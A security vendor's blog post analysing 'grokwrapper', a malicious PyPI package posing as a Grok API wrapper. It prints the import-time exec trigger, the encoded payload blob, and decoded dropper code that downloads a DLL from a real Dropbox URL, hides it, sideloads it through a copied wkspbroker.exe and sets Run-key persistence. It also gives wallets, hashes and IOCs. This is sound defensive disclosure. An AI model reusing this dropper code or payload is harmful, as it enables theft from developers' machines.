Fake Grok API Wrapper Deploys New Malware

Paul McCarty
15 mins
February 11, 2026

The Safety Research team has identified a new supply chain attack targeting Python developers through a malicious PyPI package called grokwrapper. This package masquerades as an unofficial API wrapper for xAI’s Grok but really its malware. Upon installation, the package automatically downloads and executes a second-stage payload, establishes Windows Registry persistence, and uses DLL sideloading to maintain control of infected systems.

It is important to note that this malware is new, not currently detected by security tools, and appears to be a hybrid of two other malware families.

Executive Summary

A PyPI user named “yqr66” has deployed a malicious PyPI package called grokwrapper that poses as an xAI Grok API wrapper but delivers a new malware variant that is not being detected by existing security tools. Upon installation, it automatically downloads a persistent backdoor using DLL sideloading via legitimate Microsoft binaries (wkspbroker.exe). This supply chain attack targets Python developers outside CIS countries and represents an expansion of Operation DreamJob beyond traditional aerospace/defense sectors. Organizations should immediately check for compromise indicators and audit Python dependencies.

Version Comparison: Benign to Malicious

Nation state threat actors, including the DPRK, will often deploy a first benign package version first, and then a few days, or even weeks later, they will push the malicious version of the package.  Threat actors do this, in part, to bypass the security scanning tooling the package registries use behind the scenes.

The Safety research team is very familiar with this pattern, so we were not surprised to see this happen with the GrokWrapper package.

Version 0.1.0 (Benign)

The first version of grokwrapper was published on February 7, 2026, and appeared completely clean upon analysis. This initial release contained no malicious code whatsoever and consisted of simple flat module files including client.py, config.py, utils.py, and exceptions.py. The package appeared to be a legitimate (though likely non-functional) API wrapper stub, totaling approximately 285 lines of Python code across 4 files.

Notably, there were no malicious indicators present—no exec() calls, no base64 or zlib encoding, no Windows API calls, and no obfuscation techniques. The internal file timestamps were dated February 2, 2020, which were clearly fake and backdated, presumably to lend an air of legitimacy and established history to the package.

Version 0.2.0 (Malicious)

Just 24 hours later, on February 8, 2026, version 0.2.0 was published—and this release contained the malicious payload. The structure had evolved significantly from the benign predecessor, now featuring a full package with an __init__.py file containing 649 lines of heavily obfuscated code. The total line count had ballooned to approximately 1,486 lines across 5 Python files, with the malicious payload embedded within a file called internal_config.json.

This version exhibited all the classic malicious indicators: exec() calls for dynamic code execution, base64 and zlib encoding to hide the payload, Windows registry manipulation for persistence, and DLL sideloading techniques. Interestingly, the malware contained a critical bug—a typo that actually prevents execution entirely (detailed below). Analysis of the embedded RADCUI.dll payload revealed it had been compiled on February 5, 2026, a full three days before the package was even published to PyPI.

Attack Evolution

This represents a rapid version poisoning attack:

  1. February 5, 2026: Threat actor compiles RADCUI.dll payload
  2. February 7, 2026: Publish benign v0.1.0 to PyPI
    • Establishes package presence
    • Passes PyPI automated security scans
    • Appears in search results and package indexes
  3. February 8, 2026 (24 hours later): Update to malicious v0.2.0
    • Embeds the DreamLoader variant
    • Targets users who auto-upgrade or run pip install --upgrade grokwrapper
    • Minimal time for security review between versions
  4. February 9, 2026: Malware discovered and analyzed by the Safety team

Timeline Significance: The 24-hour gap between versions indicates a coordinated, planned attack rather than gradual compromise. This rapid deployment minimizes the window for detection and suggests operational urgency, possibly due to:

  • Time-sensitive targeting (specific campaign deadline)
  • Testing in production before wider deployment
  • Avoiding long-term monitoring by security researchers

This is a sophisticated APT technique to bypass PyPI security scanning while minimizing exposure time.

Package Overview

Package Name: grokwrapper

Version Analyzed: 0.2.0 (malicious), 0.1.0 (benign)

PyPI Publisher: yqr66

Package Description: "Lightweight wrapper for Grok by xAI – access Grok models via web interface without API key"

Claimed Purpose: Unofficial API wrapper for xAI's Grok

Actual Purpose (v0.2.0): Malware delivery and persistence

Platform Target: Windows (x86-64)

Attack Timeline: Version 0.1.0 (benign) → Version 0.2.0 (malicious)

The package presents itself as a convenient tool for developers wanting to use xAI's Grok models without an API key. The README is well-crafted with code examples, feature lists, and professional documentation that would not immediately raise suspicion. The PyPI user yqr66 published this package with no apparent history of legitimate contributions to the Python ecosystem.

Initial Discovery

The first red flag appears in the package structure. While most of the code appears legitimate (client.py, config.py, utils.py, exceptions.py), the __init__.py file contains several unusual imports for an API wrapper:

import subprocess
import ctypes
import winreg
import base64
import zlib
import tempfile
import shutil

These imports are typically associated with system-level operations, not HTTP API interactions.

The Trigger Mechanism

This function is called automatically when the package is imported. Let's examine what it does:

def _init_internal_services():
    if hasattr(sys.modules[__name__], '_initialized'):
        return
    setattr(sys.modules[__name__], '_initialized', True)

    pkg_dir = os.path.dirname(__file__)
    config_path = os.path.join(pkg_dir, 'data', 'internal_config.json')

    if not os.path.exists(config_path):
        return

    with open(config_path, 'r', encoding='utf-8') as f:
        data = json.load(f)

    hidden = data.get('api-secret')
    if not hidden:
        return

    compressed = base64.b64decode(hidden)
    decompressed = zlib.decompress(compressed)
    code = decompressed.decode('utf-8')

    exec(code)  # MALICIOUS EXECUTION

This function:

  1. Reads data/internal_config.json
  2. Extracts a base64-encoded, zlib-compressed payload from the api-secret field
  3. Decodes and decompresses the payload
  4. Executes it using Python's exec() function

This means simply importing the package triggers the malware.

The Hidden Payload

The internal_config.json file appears innocuous at first glance:

{
  "service_endpoints": {
    "chat": "<https://grok.x.ai/api/chat>"
  },
  "api-secret": "eJyVVm1zokgQ/s6voPywYp2HRq1sNlXeFRGya3w90aR2L1fUAINOQIbMDFGzt//9GlAUNdnbLksY5um3Z7obJLKMKBMy5dL2jqHQpcvdigtGwnm+iu2IUQfzHM03+a0jNhHOVysSMpwrMvwcYy7yXYGXkUcCLHmMLuUIiUVAbHm7OYalJLnYk7Xbrqnd6d2RqcGf9tC905O/kW4qFfn3P2Sb0uBakkEE22Q3iSAwhmwkt7cxqRCMGwSqj1mIg2YjBwYonFvEBeBWRf2MxYxjpmMPxYGYdfuAiNEcK5VcyVmQwGU4BK3v9XW9dfGpKifXRjO7Nm+366vtdbvfav7IbTAsYhbKOOICk1CG385qCsFrB0fi+hg+ZTGWJPI+L5kWnIuK10Qo9UpG5bCjm4gHPkLdkX6X4wq8pZh0G3IrLYSI+HWt5gaqy2hk03UMzDg0FDgUqkOXNe4ENY/UeHzl84+v4fPiMnj13U9h43IjamMcEt4bfetr6px4f7LAx5v2JRWccv/q+aP99NJ4bbXIxaW9tAP6gYs2Xgh74b9cfXCD9kVJysO6KQh64ugJ4mOlzvXjAxwsXfFHcwNELpuNx5XPI5tROGlIHx8Y+ev/Cxgvl9UnSkIlawbVWVACVa9k3aAi7hBiBVgIzLj827ZJVJfMieBV2W9f1Cv7eukWZEQQR+5AH2hJfVKuJsWfOYPFHAO5L0pJG491baqVKtVfCbyyTxdsLZGPXcK48mYAVSg0woVF/XZSWgfqS8aoTcXPO+i22zcsbTqddG9mU8P60tV1YwhqUPBvgsyv5tQYyBmqdexTNbG4hdGgCWDVjgXmD+9lcD6Af8/7PMjQx9DvSZlPNL0z66qQXSnfHHzbyfEZvRNJanF/7PvmzQXziIavSe1ux2Fy3sq+66qyIEtMY5EU0Jv6KkOEY8ujzOICiZgfzKYVEQuZRjhU9ilU5fLKLldkxGVv3+uJeOqKEYGVEw/bJj+TjE1CK0RLnDB33GuHmISxX+BuZ/aMRxh3OytptXLlzDyoFBPbvZwWsSBBYSd7BAlGm8Y5Q9U8+oNagdonaIEcyDQ9vZJJPbFCDD8OiMMoh1U+iToxsBiKe5gMhIaPkzjcE+PHbJV0fWlAYI4marPIRTBErHqjedO7HWuNXmuk9fYaKAhQwqNXLn3fBfajVD5lqTDHU194A3rZW1gdQUX08EYpILJ6Sfe/9IyvVmc2mRjDqTUzjUn1BHnIwelu/fTR1nRi2TSm1r3WnxkFUEU6A4fmv0dBjI21AhlUM8rg/VndASbGZ8uEmk6ZOWuiE1COk2zBwB6QvVJlI73AyRTZihB80uRPOhNDg5kxHFkP3aE+esgm1VU9lRy1/xhSx2nLFSz+vTuuf4rUOAyjxL8XoDlvH3sqYrlwk2Fw4Eg37oezfv8Ehhn7KcxJeLE8l6fDPt86arm3eco4kk4+JKT/AHvr+Pc="
}

The api-secret field contains approximately 1.4KB of encoded data. After base64 decoding and zlib decompression, we recover the actual malicious code.

Decoded Malware Functionality

The decoded payload reveals a sophisticated Windows-targeting malware with the following capabilities:

1. Geographic Filtering (Anti-CIS)

The code uses a unique way to identify what country its running in.  

def AFISAJDIOSADIOAWIJDAWIJODS() -> bool:
    try:
        alibaba = ctypes.windll.kernel32
        lang_id = alibaba.GetUserDefaultUILanguage()
        children = {0x0419, 0x0423, 0x043F, 0x0428, 0x0429, 0x0443}
        return epstein in children  # ← BUG: 'epstein' is undefined!
    except:
        return True

if AFISAJDIOSADIOAWIJDAWIJODS():
    sys.exit(0)

The function tests to see what error is returned by the host Windows operating system, and then checks the output against this table:

  • 0x0419- Russian - Russia
  • 0x0423 - Belarusian - Belarus
  • 0x043F - Kazakh - Kazakhstan
  • 0x0428 -Tajik - Tajikistan
  • 0x0429 - Persian/Farsi - Iran
  • 0x0443 - Uzbek - Uzbekistan

If the malware sees that the locale is in one of those six areas, it exits immediately. Malware authors often exclude their home region to avoid local law enforcement. This suggests Russian-speaking region origin, however attribution is a little bit more nuanced in this case, which we’ll get into later.

It's notable that Ukrainian (0x0422) is NOT in the list, which is geopolitically significant.

I wonder why that might be...?!

2. Second Stage Download

NCDSaIODJS = "<https://dl[.]dropboxusercontent[.]com/scl/fi/su8ks7znqh6lzkd9n26yt/PenisKOZLA.gif?rlkey=6otsosk8q7bjv2z44i16bmblo&st=ehtbhkv8&dl=1>"

The malware downloads a file disguised as a GIF image from Dropbox. Despite the .gif extension, this is a malicious 64-bit Windows DLL (PE32+ executable). The file is saved as RADCUI.dll in a hidden directory.

Second-Stage Payload Analysis (RADCUI.dll)

The downloaded RADCUI.dll has the following characteristics:

  • File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows (VirusTotal reports it as NE 16 Windows exe)
  • File Size: 7,680 bytes (7.5 KB)
  • Compilation Date: Thu Feb 5 15:33:01 2026
  • MD5: 5849e7152fa8c58f3dbe2c439d9690e3
  • SHA-256: 1963f8777e33d95c106ba28857058348eed021b4b86c46bad63b63dabada26ce
  • Sections: 7 sections (.text, .data, .rdata, .bss, .edata, .idata, .reloc)
  • Imports: KERNEL32.dll, USER32.dll
  • Stripped: Debugging symbols removed (stripped to external PDB)

Notable Strings Found:

  • Critical Error, please check your PC - Potential error message shown to user
  • DUIRemoveSubscriptionDialogModal
  • DUISubscribeWizardModal
  • Windows API calls: GetCurrentProcessId, GetLastError, GetModuleFileNameA, GetTickCount, MessageBoxA

Potential Malware Identification: Lazarus Group

This RADCUI.dll payload and associated TTPs are often linked to the Lazarus Group APT (North Korean state-sponsored threat actor) and their DreamLoader/Operation DreamJob campaign.

Evidence of Potential Attribution:

  1. Known Lazarus TTPs: The combination of radcui.dll + wkspbroker.exe DLL sideloading is a documented Lazarus technique extensively analyzed by ESET and Lab52 security researchers in 2025.
  2. Matching Infrastructure: Lab52 documented Lazarus using radcui.dll as a DLL loader executed via wkspbroker.exe (copied from System32). A known Lazarus variant has the hash fa014db2936da21af5943cc8f3656adb9800173ad86af196f71c6052295fff97.
  3. DreamLoader Framework: The DLL is part of Lazarus's modular "DreamLoader" framework, which typically:
    • Contains encrypted payloads (Base64-encoded)
    • Decrypts using SID-pattern arguments passed at execution
    • Injects additional payloads like HideFirstLetter.dll for credential theft
    • Communicates via Microsoft Graph API for C2 to blend with legitimate traffic

This is NOT commodity malware. This is a nation-state APT operation by North Korea's Lazarus Group. The grokwrapper PyPI package represents an adaptation of Lazarus's DreamJob techniques to target the Python developer community, expanding beyond their traditional aerospace/defense targets.

Malware renames itself:

The malware downloads this file with a .gif extension (PenisKOZLA.gif) as camouflage, but immediately saves it as RADCUI.dll. The file is never stored or referenced with the .gif extension after download - this is purely to evade detection during download and avoid suspicion when viewing Dropbox activity logs.

Before we can talk about attribution though, we need to do more work. Let's continue...

Download Method

The malware uses a simple HTTP GET request with no special headers or authentication:

rrrrrrrrrresponz = requests.get(NCDSaIODJS, timeout=10)
rrrrrrrrrresponz.raise_for_status()
with open(MZZZZZZZZZ, 'wb') as f:
   f.write(rrrrrrrrrresponz.content)

The URL already contains all necessary Dropbox parameters (rlkey, st, dl=1), so the download can be replicated with a simple curl/wget command for analysis purposes.

3. Hidden Directory Creation

QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
IIIIIIIIIIIIIIOiasadMDMAa = os.path.join(os.getenv("APPDATA"), QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ)

os.makedirs(IIIIIIIIIIIIIIOiasadMDMAa, exist_ok=True)

mrrobot = ctypes.windll.kernel32
FILE_ATTRIBUTE_HIDDEN = 0x02
FILE_ATTRIBUTE_SYSTEM  = 0x04
mrrobot.SetFileAttributesW(IIIIIIIIIIIIIIOiasadMDMAa, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)

The malware:

  • Creates a directory with a random 10-character name in %APPDATA%
  • Sets the directory attributes to HIDDEN and SYSTEM to conceal it from casual inspection
  • Stores the downloaded DLL in this hidden location

4. DLL Sideloading Setup

BBBBBBBBBBBBBBajsaj = r"C:\\\\Windows\\\\System32\\\\wkspbroker.exe"
bin_path = os.path.join(IIIIIIIIIIIIIIOiasadMDMAa, bin_name)

if os.path.exists(BBBBBBBBBBBBBBajsaj):
   import shutil
   shutil.copy2(BBBBBBBBBBBBBBajsaj, bin_path)

The malware copies the legitimate Windows executable wkspbroker.exe from System32 to the hidden AppData directory. When executed, this legitimate executable will load the malicious RADCUI.dll from the same directory (DLL sideloading attack).

Why wkspbroker.exe?

wkspbroker.exe (RemoteApp and Desktop Connection Runtime Broker) is a legitimate, signed Microsoft executable that is vulnerable to DLL hijacking. Specifically:

  • Legitimate Path: C:\\\\Windows\\\\System32\\\\wkspbroker.exe
  • Vulnerability: Loads sspicli.dll and potentially other DLLs from its current directory before checking system paths
  • File Size: Approximately 199,840 bytes
  • Purpose: Part of Windows Remote Desktop Services

By placing a malicious DLL (named to match a DLL the executable loads) in the same directory as a copied legitimate executable, attackers can execute arbitrary code through a trusted, signed binary. This technique:

  1. Bypasses application whitelisting (AppLocker, WDAC) since wkspbroker.exe is a legitimate Microsoft binary
  2. Evades AV/EDR detection as the parent process is a trusted Windows component
  3. Maintains code signing integrity on the executable while loading unsigned malicious code
  4. Appears legitimate in process listings and forensic analysis

How the DLL Sideloading Works

Critical detail: The first-stage payload never directly executes RADCUI.dll. Instead, it:

  1. Downloads PenisKOZLA.gif → immediately saves as RADCUI.dll in the hidden directory
  2. Copies legitimate wkspbroker.exe to the same hidden directory (next to RADCUI.dll)
  3. Executes wkspbroker.exe (not the DLL)
  4. When wkspbroker.exe runs, it automatically loads DLLs from its current directory before checking system paths
  5. It finds and loads the malicious RADCUI.dll instead of legitimate system DLLs
  6. The malicious DLL code executes within the context of the legitimate, signed Microsoft process

Final directory structure in hidden AppData folder:

%APPDATA%\\\\[Random10Chars]\\\\
├── RADCUI.dll          ← Malicious payload (downloaded as PenisKOZLA.gif)
└── wkspbroker.exe      ← Legitimate Microsoft binary (copied from System32)

This technique means the malware's code runs inside a process that:

  • Is signed by Microsoft
  • Has a valid digital signature
  • Appears in the legitimate Windows directory structure
  • Is recognized as a trusted system process by security software

5. Registry Persistence

indiahackerz = r"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"
kurwa = "MircosoftUpdater_023BKFPA2K4OAK"
allah = f'"{bin_path}"'

try:
   key = winreg.OpenKey(
       winreg.HKEY_CURRENT_USER,
       indiahackerz,
       0,
       winreg.KEY_SET_VALUE
   )
   winreg.SetValueEx(key, kurwa, 0, winreg.REG_SZ, allah)
   winreg.CloseKey(key)
except Exception:
   pass

The malware adds a registry key to ensure it runs on every system startup:

  • Key: HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run
  • Value Name: MircosoftUpdater_023BKFPA2K4OAK (note the typo: "Mircrosoft")
  • Value Data: Path to the copied wkspbroker.exe

6. Silent Execution

CREATE_NO_WINDOW = 0x08000000
subprocess.Popen(
   [bin_path],  # Executes the copied wkspbroker.exe
   creationflags=CREATE_NO_WINDOW,
   stdout=subprocess.DEVNULL,
   stderr=subprocess.DEVNULL,
   close_fds=True
)

Finally, the malware launches wkspbroker.exe (NOT the DLL directly) without creating a visible window, ensuring the victim remains unaware of the infection. When wkspbroker.exe starts, it loads and executes RADCUI.dll from the same directory, completing the sideloading attack.

Key Point: The malicious code runs in the context of wkspbroker.exe, a legitimate, signed Microsoft executable. This means:

  • Process name: wkspbroker.exe (appears legitimate)
  • Digital signature: Valid Microsoft signature
  • Parent process: Typically the Python installer or user's shell
  • Loaded modules: Includes the malicious RADCUI.dll alongside legitimate Windows DLLs

Attack Flow

  1. Installation: Developer installs grokwrapper via pip
  2. Import Trigger: Package is imported (automatically or explicitly)
  3. Payload Decode: _init_internal_services() decodes hidden payload from base64+zlib
  4. Geographic Check: Malware checks if system is in CIS region (exits if yes)
  5. Directory Creation: Creates hidden directory with random 10-character name in %APPDATA%
  6. Download Payload: Downloads PenisKOZLA.gif from Dropbox, saves as RADCUI.dll
  7. Copy Legitimate Binary: Copies C:\\\\Windows\\\\System32\\\\wkspbroker.exe to hidden directory
  8. Persistence: Adds registry Run key pointing to copied wkspbroker.exe
  9. Immediate Execution: Launches wkspbroker.exe silently (no window)
  10. DLL Sideload: wkspbroker.exe loads malicious RADCUI.dll from its current directory
  11. Malware Execution: DLL code runs inside legitimate Microsoft-signed process
  12. Survival: Malware persists across reboots via registry Run key

The malware never directly executes the DLL. It exploits the Windows DLL search order so that when wkspbroker.exe runs, it automatically loads the malicious DLL thinking it's a legitimate system component.

What does the payload do?

Before we can confidently say what this malware actually does, or who might have created it, we need to understand what the RUNCUI.dll does.  So, we initially ran it in a Hatching Triage sandbox.

Triage identified malicious behaviours, but we noticed this interesting set of artefacts being created:

The .pb file appears to be a database of typo-squatted domain names:

You can find that Triage report HERE.  

That analysis was inconclusive both on what the malware was, and what it did. So we rolled up our sleeves, phoned a friend, and opened the binary with Binary Ninja:

Really quickly we saw that the malware was interacting with the Windows clipboard.  

This screams cryptostealer, as they often have a process running in memory that watches the clipboard for crypto currency wallet addresses, and the malware will quickly switch the original destination wallet address for their own.

Then we saw this: 

That looks like a function to decrypt something. Could it be a crypto wallet address?

If we take a look a the decryption operations, we can tease out a Bitcoin and Litecoin wallet address. We also can see a unique string: "Milanno".

The "Milanno" string is used as a mutex to prevent two instances of the malware running at the same time.  There are several anti-analysis functions in the malware, which is common for DPRK tooling.

Eventually we found a treasure trove of wallet addresses:

Threat actors crypto wallets identified

After some cleanup, we knew 100% this was a cryptostealer.  Here are the wallets that are swapped in when the clipboard is manipulated:

Bitcoin - bc1qm4udk8zw28xp4jv4jwl2qgtvfahu5z6stgk62m
Ethereum - 0x265a56245f743f2cF65B0CDA50f98E2f4843c22A
Tron - THTALKNxX9mQ6UDWQ5UNsLHqmk1b65seFP
Litecoin - ltc1qh8nwypqtyz9wvp6pl2l06y8mhfn6ktz9tcal98
Dogecoin - DMMuG7oGDLkAeFmVQitAYtNPqgRH6eteLa
Monero - 46UAi16H252RXMdoTLenbxXgxp48vQbiiNYKM61pp8TR4Jgt7SAfSPSTjVk81hFttn7FSnCZyGAYM8qpd8oA8TVSFQNRAby
TON - UQCoixUdVKeLQgJueRKTKmM89SJgd_j23yiMbLKms5d7c8Rx

These wallets follow a pattern that is familiar to our team. The multi-chain spread across BTC (bech32), LTC (bech32), Tron, TON, Monero, Solana, and ETH is a textbook clipper/clipboard-hijacking wallet setup. Clipper is named after its innovative feature that replaces crypto wallet addresses on the clipboard wih the threat actors addresses. Clipper was originally identified in 2023 by the Phylum team.

Because this malware is new, unfortunately, its not being flagged by Virustotal or EDR agents like SentinelOne, Microsoft Defender and CrowdStrike:

Additionally, threat intelligence platforms like OpenThreatExchange haven't see it yet either:

So, what kind of malware is this?

The answer is this malware appears to be a hybrid of DreamLoader and Clipper.  It has the initial look and feel of DreamLoader with the DLL it uses, the tradecraft and TTPs that are known DreamLoader patterns. But then it deviates from that playbook and becomes a cryptostealer focused on modifying the Windows clipboard to send payments to the threat actors destination wallets.

However, the actual code and compiled artefacts are fundamentally different than earlier Clipper payloads:

The original Clipper radcui.dll is 560Kb while this RADCUI.dll is 7.5Kb.
The original Clipper radcui.dll was compiled with Microsoft Visual Studio, while this radcui.dll was compiled with GNU MinGW.

The original Clipper radcui.dll is a 64 bit PE executable, while this radcui.dll is a 16 bit NE executable.

In short they are two different payloads with the same name. This latest malware copies the way that DreamLoader initially deploys itself on Windows systems, but then uses a new, small, fast clipboard cryptostealer written in C++, and compiled on February 5, 2026.

What do you do if nothing detects this?

It's not uncommon for malicious packages to use never before seen malware and infostealers. Because of this traditional security tools like EDR, and IDS/IPS don't really help much. It's important to review all third-party packages before installation, verify the publishers and perhaps even wait a week or month before installing new packages.

Indicators of Compromise (IOCs)

URL/Domains

https://dl[.]dropboxusercontent[.]com/scl/fi/su8ks7znqh6lzkd9n26yt/PenisKOZLA.gif?rlkey=6otsosk8q7bjv2z44i16bmblo&st=ehtbhkv8&dl=1

File System Indicators

  • Random directory: 10-character alphanumeric name in %APPDATA% with HIDDEN + SYSTEM attributes
  • Malicious DLL: RADCUI.dll (7,680 bytes)
    • MD5: 5849e7152fa8c58f3dbe2c439d9690e3
    • SHA-256: 1963f8777e33d95c106ba28857058348eed021b4b86c46bad63b63dabada26ce
  • Sideloaded executable: wkspbroker.exe copied from System32 to AppData

Registry Indicators

  • Key Path: HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run
  • Value Name: MircosoftUpdater_023BKFPA2K4OAK (note typo: "Mircrosoft" not "Microsoft")
  • Value Type: REG_SZ
  • Value Data: Path to malicious wkspbroker.exe copy in AppData

Unique Indicators

Milanno - user?

indiahackerz - variable name

Conclusion

The grokwrapper package represents a new evolution of the DPRK playbook:  Focusing on Python developers to install comprehensive Windows malware. Teams need to realize that there is a real and present danger from advanced threats like North Korea, China and Russia who are now realizing that the developers laptop is where the crown jewels are.  

How can Safety help protect you from these attacks?

Traditional vulnerability scanning happens too late - after potentially malicious code is already in your system. Which means that ASPM and EDR solutions don't protect you from this type of threat.

But all is not lost, as the Safety Firewall protects develoeprs and CI pipelines proactively. Every package installation request is analyzed before reaching public repositories. Malicious, vulnerable, and policy-violating packages are automatically blocked before they can enter your systems, preventing rather than just detecting threats.

You can sign up for a free Safety account and try the Safety Firewall HERE.

Feel free to reach out to me with any questions!

Let us know if this blog post helped you

I hope this blog post has helped you. Feel free to hit me up directly if you have any questions about this campaign.

Paul McCarty - Head of Research, Safety

You can find me on LinkedIn and BlueSky.

Related

Similar Posts

Secure your supply chain in 60 seconds.
No sales calls, no complex setup.
Just instant protection.

Get Started for Free
View Documentation
Arrow
CTA Graph